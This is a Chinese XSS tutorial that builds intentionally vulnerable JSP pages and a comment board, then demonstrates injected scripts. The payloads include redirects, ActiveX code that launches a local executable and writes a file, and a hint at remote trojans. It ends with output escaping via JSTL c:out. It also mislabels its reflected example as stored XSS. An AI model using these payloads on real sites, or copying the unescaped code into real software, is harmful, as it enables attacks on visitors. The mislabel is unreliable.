XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的。

前言
大家好,好男人就是我,我就是好男人,我就是-0nise。在各大漏洞举报平台,我们时常会看到XSS漏洞。那么问题来了,为何会出现这种漏洞?出现这种漏洞应该怎么修复?
正文
1.XSS?XSS?XSS是什么鬼?
XSS又叫跨站脚本攻击(Cross Site Scripting),我不会告诉他原本是叫CSS的,但是为了不和我们所用的层叠样式表(Cascading Style Sheets)CSS搞混。CSS(跨站脚本攻击),CSS(层叠样式表)傻傻分不清。所以就叫XSS咯。
2.XSS的危害是什么?
实验一:
0x00构造代码
?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | <%@ page language= "java" import = "java.util.*" pageEncoding= "UTF-8" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+ "://" +request.getServerName()+ ":" +request.getServerPort()+path+ "/" ; %> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" > <html> <head> <base href= "<%=basePath%>" > <title>My JSP 'index.jsp' starting page</title> <meta http-equiv= "pragma" content= "no-cache" > <meta http-equiv= "cache-control" content= "no-cache" > <meta http-equiv= "expires" content= "0" > <meta http-equiv= "keywords" content= "keyword1,keyword2,keyword3" > <meta http-equiv= "description" content= "This is my page" > </head> <body> <div style= "margin: 0 auto" > <% //设置编码 request.setCharacterEncoding( "UTF-8" ); //接收用户传入值 String tmp = request.getParameter( "opr" ); //减速传入值是否为空 if (tmp == null ){ out.print( "111" ); } else { //转码 String opr = new String(tmp.getBytes( "ISO-8859-1" ), "utf-8" ); out.print(opr); } %> 我是内容 </div> </body> </html> |
0x01环境布局

0x02漏洞演练
我们访问:http://localhost:8080/XSS/index.jsp?opr=i%E6%98%A5%E7%A7%8B

然后访问:http://localhost:8080/XSS/index.jsp?opr=0nise

最后我们发现了一个“伟大的规律”:
opr参数等于什么页面就打印什么。(好像是废话)
我们接着来加载一个图片看看
访问:http://localhost:8080/XSS/index.jsp?opr=%3Cimg%20src=%221.png%22%3E%3C/img%3E

既然图片都可以加载,那么我们JS文件是不是也阔以加载呢?
访问:http://localhost:8080/XSS/index.jsp?opr=%3Cscript%3Ealert(/i%E6%98%A5%E7%A7%8B%E7%A4%BE%E5%8C%BA%E6%AC%A2%E8%BF%8E%E5%A4%A7%E5%AE%B6/)%3C/script%3E

Js?Js?那么是不是可以来改变跳转后地址?
访问:http://localhost:8080/XSS/index.jsp?opr=%3Cscript%3Elocation.href=%27http://bbs.ichunqiu.com%27%3C/script%3E

既然xss都可以加载js,那么,我们是不是通过js来打开本地的某些东西?

提前放了一个MD5.exe文件
访问:http://localhost:8080/XSS/index.jsp?opr=<script> var objShell = new ActiveXObject("wscript.shell");objShell.Run("G:/work/XSS/WebRoot/Md5.exe");</script>

既然连本地文件都可以打开那么远程文件木马?来个电脑恶搞?这个自己慢慢象限。我可没说啊。。。。。
文件都可以打开,那么写一些文件呢?
访问:http://localhost:8080/XSS/index.jsp?opr=%3Cscript%3Evar%20fso,tf;fso%20=%20new%20ActiveXObject(%22Scripting.FileSystemObject%22);tf%20=%20fso.CreateTextFile(%22d:\\test.txt%22,true);tf.WriteLine(%22i%E6%98%A5%E7%A7%8B%E7%A4%BE%E5%8C%BA%E6%AC%A2%E8%BF%8E%E6%82%A8%22);tf.Close();alert(%22%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%88%90%E5%8A%9F%EF%BC%81%22);%3C/script%3E


通过以上实验我们可以看出opr参数赋值操作。如果opr参数没有值的话,就无法执行执行,被攻击者必须访问攻击者提前设计好的才能攻击。这种XSS攻击方式叫做:存储型XSS
如果你想看到更给力的实验,请接着往下看。
实验二:
前言:
大部分网站都会和数据打交道那么,XSS漏洞出现这些网站是什么样子的?
0x00构造代码
数据库部分

BaseDao.java
?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 | import java.sql.Connection; import java.sql.DriverManager; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; public class BaseDAO { //打开连接 public Connection getConn(){ Connection conn = null ; try { Class.forName( "com.microsoft.sqlserver.jdbc.SQLServerDriver" ); conn = DriverManager.getConnection( "jdbc:sqlserver://localhost:1433;databaseName=SQLTMP" , "sa" , "sa" ); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (SQLException e) { e.printStackTrace(); } return conn; } //关闭链接的方法 public void closeAll(Connection conn,Statement stat,ResultSet rs){ try { if (rs != null ) rs.close(); if (stat != null ) stat.close(); if (conn != null ) conn.close(); } catch (SQLException e) { e.printStackTrace(); } } //重载关闭方法 public void closeAll(Connection conn,PreparedStatement pstat,ResultSet rs){ try { if (rs != null ) rs.close(); if (pstat != null ) pstat.close(); if (conn != null ) conn.close(); } catch (SQLException e) { e.printStackTrace(); } } //继续重载 public void closeAll(Connection conn,PreparedStatement pstat){ try { if (pstat != null ) pstat.close(); if (conn != null ) conn.close(); } catch (SQLException e) { e.printStackTrace(); } } //增删改的公用方法 public int upDate(String sql,Object[] pram){ PreparedStatement pstat = null ; Connection conn = null ; int a = 0 ; try { conn = getConn(); pstat =conn.prepareStatement(sql); //遍历参数集合,将集合中的参数对应添加到sql语句中 for ( int i = 1 ; i <= pram.length; i++) { pstat.setObject(i, pram[i- 1 ]); } //调用方法 a = pstat.executeUpdate(); } catch (SQLException e) { e.printStackTrace(); } finally { closeAll(conn, pstat); } return a; } } |
CommentDao.java
?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 | import java.sql.*; import java.util.*; import entity.*; public class CommentDao extends BaseDAO { /** * 获取所有留言 * */ public List<comm> GetComment(){ //SQL语句 String sql = "SELECT CID,CName,CContext FROM Comments" ; List<comm> list = new ArrayList<comm>(); //数据库连接对象 Connection conn = null ; //SQL执行对象 PreparedStatement pstmt = null ; //数据库执行返回值 ResultSet rs = null ; try { //创建数据库链接 conn = this .getConn(); //创建SQL执行对象 pstmt = conn.prepareStatement(sql); //执行SQL语句 返回值 rs = pstmt.executeQuery(); //读取 while (rs.next()) { comm comment = new comm(); comment.setCID(rs.getInt( "CID" )); comment.setCName(rs.getString( "CName" )); comment.setCContext(rs.getString( "CContext" )); list.add(comment); } } catch (Exception e) { e.printStackTrace(); } finally { //关闭 this .closeAll(conn, pstmt, rs); } return list; } public int AddComment(comm comment){ String sql = "INSERT INTO Comments VALUES(?,?)" ; //受影响行数 int result = 0 ; //数据库连接对象 Connection conn = null ; //SQL执行对象 PreparedStatement pstmt = null ; try { //创建数据库链接 conn = this .getConn(); //创建SQL执行对象 pstmt = conn.prepareStatement(sql); //设置参数 pstmt.setString( 1 , comment.getCName()); pstmt.setString( 2 , comment.getCContext()); //执行SQL语句 result = pstmt.executeUpdate(); } catch (Exception e) { e.printStackTrace(); } finally { this .closeAll(conn, pstmt); } return result; } } |
CommentServlvet
?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | import java.io.*; import javax.servlet.*; import javax.servlet.http.*; import entity.*; public class CommentServlvet extends HttpServlet { /** * doGet() */ public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { request.setCharacterEncoding( "UTF-8" ); response.setContentType( "text/html;charset=UTF-8" ); PrintWriter out = response.getWriter(); String opr = request.getParameter( "opr" ); CommentDao commentDao = new CommentDao(); //检索参数是否为空 if (opr == null || opr.equals( "all" )){ request.setAttribute( "all" , commentDao.GetComment()); //转发 request.getRequestDispatcher( "comment.jsp" ).forward(request, response); } else if (opr.equals( "add" )){ comm comment = new comm(); comment.setCName(request.getParameter( "UName" )); comment.setCContext(request.getParameter( "context" )); if (commentDao.AddComment(comment) > 0 ){ out.print( "<script>alert('留言成功');location.href='CommentServlvet?opr=all';</script>" ); } else { out.print( "<script>alert('留言失败');location.href='CommentServlvet?opr=all';</script>" ); } } else { request.setAttribute( "all" , commentDao.GetComment()); //转发 request.getRequestDispatcher( "comment.jsp" ).forward(request, response); } out.flush(); out.close(); } /** * doPost() */ public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doGet(request, response); } } |
Comment.jsp
?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | <%@ page language= "java" import = "java.util.*,entity.*" pageEncoding= "UTF-8" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+ "://" +request.getServerName()+ ":" +request.getServerPort()+path+ "/" ; %> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" > <html> <head> <base href= "<%=basePath%>" > <title>My JSP 'comment.jsp' starting page</title> <meta http-equiv= "pragma" content= "no-cache" > <meta http-equiv= "cache-control" content= "no-cache" > <meta http-equiv= "expires" content= "0" > <meta http-equiv= "keywords" content= "keyword1,keyword2,keyword3" > <meta http-equiv= "description" content= "This is my page" > </head> <body> <% request.setCharacterEncoding( "UTF-8" ); if (request.getAttribute( "all" ) == null ){ request.getRequestDispatcher( "CommentServlvet?opr=all" ).forward(request, response); } %> <table> <% List<entity.comm> list = (List<entity.comm>)request.getAttribute( "all" ); for ( int i = 0 ; i < list.size(); i++ ){ %> <tr> <td><%=list.get(i).getCName() %></td> <td><%=list.get(i).getCContext() %></td> </tr> <% } %> </table> <form action= "CommentServlvet?opr=add" method= "post" > <textarea rows= "5" cols= "30" name= "context" ></textarea> 昵称:<input type= "text" name= "UName" /> <input type= "submit" value= "提交" /> </form> </body> </html> |
0x01漏洞实验
root@1~#
我们在留言板留言:
<script> var objShell = new ActiveXObject("wscript.shell");objShell.Run("G:/work/XSS/WebRoot/Md5.exe");</script>

然后访问:http://localhost:8080/XSS/comment.jsp

这样只要访问这个页面,软件就自动打开了,来个远程文件?慢慢领悟。
root@2~#
我们在留言板留言:
复制代码 代码如下:
<script>var fso,tf;fso = new ActiveXObject("Scripting.FileSystemObject");tf = fso.CreateTextFile("d:\\test.txt",true);tf.WriteLine("i春秋社区欢迎您");tf.Close();alert("文件写入成功!");</script>

然后访问: http://localhost:8080/XSS/comment.jsp

文件写入成功。
root@3~#
留言内容:
[code]<script>location.href='http://bbs.ichunqiu.com'</script>[code]
访问页面:http://localhost:8080/XSS/comment.jsp

访问留言页面自动跳转到攻击者特定的网站。难道这就是传说中的劫持吗?
3.XSS防御方案
正所谓哪里有攻击,哪里就有防御。XSS一样,有攻击的方式,也有防御的方案。
EL表达式+JSTL标签库
EL(Expression Language):[size=12.0000pt]为了使JSP写起来更简单。表达式语言的灵感来自于ECMAScript和XPath表达式语语言,他提供了JSP中简化表达式的方法,让jsp代码更简单。
JSTL(JSP Standard Tag Library):开放源代码的JSP标签库。
实验一防御代码:
?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | <%@ page language= "java" import = "java.util.*" pageEncoding= "UTF-8" %> <%@ taglib uri= "http://java.sun.com/jsp/jstl/core" prefix= "c" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+ "://" +request.getServerName()+ ":" +request.getServerPort()+path+ "/" ; %> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" > <html> <head> <base href= "<%=basePath%>" > <title>My JSP 'index.jsp' starting page</title> <meta http-equiv= "pragma" content= "no-cache" > <meta http-equiv= "cache-control" content= "no-cache" > <meta http-equiv= "expires" content= "0" > <meta http-equiv= "keywords" content= "keyword1,keyword2,keyword3" > <meta http-equiv= "description" content= "This is my page" > </head> <body> <div style= "margin: 0 auto" > <% request.setCharacterEncoding( "UTF-8" ); String tmp = request.getParameter( "opr" ); //减速传入值是否为空 if (tmp == null ){ out.print( "111" ); } else { //转码 String opr = new String(tmp.getBytes( "ISO-8859-1" ), "utf-8" ); request.setAttribute( "name" , opr); %> <c:out value= "${requestScope.name }" ></c:out> <% } %> 我是内容 </div> </body> </html> |

实验二防御代码:
?
1 2 3 4 5 6 | <%@ page language= "java" import = "java.util.*,entity.*" pageEncoding= "UTF-8" %> <%@ taglib uri= "http://java.sun.com/jsp/jstl/core" prefix= "c" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+ "://" +request.getServerName()+ ":" +request.getServerPort()+path+ "/" ; %> |
?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" > <html> <head> <base href= "<%=basePath%>" > <title>My JSP 'comment.jsp' starting page</title> <meta http-equiv= "pragma" content= "no-cache" > <meta http-equiv= "cache-control" content= "no-cache" > <meta http-equiv= "expires" content= "0" > <meta http-equiv= "keywords" content= "keyword1,keyword2,keyword3" > <meta http-equiv= "description" content= "This is my page" > </head> <body> <% request.setCharacterEncoding( "UTF-8" ); if (request.getAttribute( "all" ) == null ){ request.getRequestDispatcher( "CommentServlvet?opr=all" ).forward(request, response); } %> <table> <!-- 防御XSS方案 --> <c:forEach var= "x" items= "${requestScope.all }" > <tr> <td> <c:out value= "${x.getCName() }" ></c:out> </td> <td> <c:out value= "${x.getCContext() }" ></c:out> </td> </tr> </c:forEach> </table> <form action= "CommentServlvet?opr=add" method= "post" > <textarea rows= "5" cols= "30" name= "context" ></textarea> 昵称:<input type= "text" name= "UName" /> <input type= "submit" value= "提交" /> </form> </body> </html> |

结束语
技术无黑白,专研甚好。
原文地址:https://www.jb51.net/article/92585.htm